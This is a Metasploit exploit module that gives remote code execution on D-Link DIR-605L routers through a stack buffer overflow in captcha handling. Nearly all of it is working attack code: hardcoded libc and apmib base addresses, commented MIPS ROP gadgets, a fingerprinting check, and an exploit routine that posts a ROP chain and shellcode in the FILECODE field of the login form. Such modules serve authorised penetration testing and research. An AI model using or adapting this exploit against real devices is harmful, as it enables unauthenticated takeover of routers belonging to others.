##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking # Because only has been tested on a QEMU emulated environment
HttpFingerprint = { :pattern => [ /Boa/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DIR-605L Captcha Handling Buffer Overflow',
'Description' => %q{
This module exploits an anonymous remote code execution on D-Link DIR-605L routers. The
vulnerability exists while handling user supplied captcha information, and is due to the
insecure usage of sprintf on the getAuthCode() function. This module has been tested
successfully on DLink DIR-605L Firmware 1.13 under a QEMU environment.
},
'Author' =>
[
'Craig Heffner', # Vulnerability discovery, original exploit
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'Payload' =>
{
'DisableNops' => true,
'Space' => 3000,
'BadChars' => "\x00\x67\x26\x2b"
},
'Platform' => ['linux'],
'Arch' => ARCH_MIPSBE,
'References' =>
[
[ 'OSVDB', '86824' ],
[ 'URL', 'http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/' ]
],
'Targets' =>
[
[ 'DLink DIR-605L 1.13',
{
'Offset' => 94,
'LibcBase' => 0x2ab86000, # According to Original Exploit by Craig Heffner
'ApmibBase' => 0x2aaef000, # According to Original Exploit by Craig Heffner
#'LibcBase' => 0x4212e000, # QEMU environment
#'ApmibBase' => 0x42095000, # QEMU environment
#LOAD:000248D4 li $a0, 1 ; set $a0 for the sleep() call
#LOAD:000248D8 move $t9, $s1 ; $s1 is controlled after the overflow
#LOAD:000248DC jalr $t9
'Ret' => 0x248D4, # from libc
#LOAD:0002B954 move $t9, $s2 # Controlled
#LOAD:0002B958 lw $ra, 0x30+var_4($sp) # allows to get controlled $ra from the stack
#LOAD:0002B95C lw $s4, 0x30+var_8($sp)
#LOAD:0002B960 lw $s3, 0x30+var_C($sp)
#LOAD:0002B964 lw $s2, 0x30+var_10($sp)
#LOAD:0002B968 lw $s1, 0x30+var_14($sp) # allows to get controlled $s1 from the stack
#LOAD:0002B96C lw $s0, 0x30+var_18($sp)
#LOAD:0002B970 jr $t9
'RopJmpSleep' => 0x2B954, # from libc
'RopSleep' => 0x23D30, # from libc # Sleep Function Address # sleep() to flush the data cache
#LOAD:000027E8 move $t9, $s1 # Controlled
#LOAD:000027EC jalr $t9 ; sub_22D0
#LOAD:000027F0 addiu $a2, $sp, 0x40+var_24 ; put pointer to the stack on $a2 # executed because of pipelining
'RopPtrStack' => 0x027E8, # from apmi
#LOAD:00001D78 move $t9, $a2 ; $a2 contains a poiner to the stack
#LOAD:00001D7C jalr $t9
'RopJmpStack' => 0x01D78 # from apmi
}
]
],
'DisclosureDate' => 'Oct 08 2012',
'DefaultTarget' => 0))
end
def check
res = send_request_cgi({ 'uri' => '/comm.asp' })
if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
shellcode = ""
shellcode << rand_text(target['Offset']) # Padding
shellcode << rand_text(4) # $s0
shellcode << [target['LibcBase'] + target['RopJmpSleep']].pack("N") # $s1
shellcode << [target['LibcBase'] + target['RopSleep']].pack("N") # $s2
shellcode << rand_text(4) # $s3
shellcode << [target['LibcBase'] + target.ret].pack("N") # $ra
shellcode << rand_text(0x1c) # filler
shellcode << rand_text(4) # $s0
shellcode << [target['ApmibBase'] + target['RopJmpStack']].pack("N") # $s1
shellcode << rand_text(4) # $s2
shellcode << rand_text(4) # $s3
shellcode << rand_text(4) # $s4
shellcode << [target['ApmibBase'] + target['RopPtrStack']].pack("N") # $ra
shellcode << rand_text(0x1c) # filler
shellcode << payload.encoded # shellcode
print_status("#{peer} - Sending exploit...")
send_request_cgi({
'method' => 'POST',
'uri' => "/goform/formLogin",
'encode_params' => false,
'vars_post' => {
'VERIFICATION_CODE' => 'myvoiceismypassportverifyme',
'VER_CODE' => '1234',
'login_n' => 'admin',
'FILECODE' => shellcode,
'curTime' => '1348588030496',
'login_pass' => 'Zm9vb255b3UA',
'login_name' => 'admin'
}
})
end
end
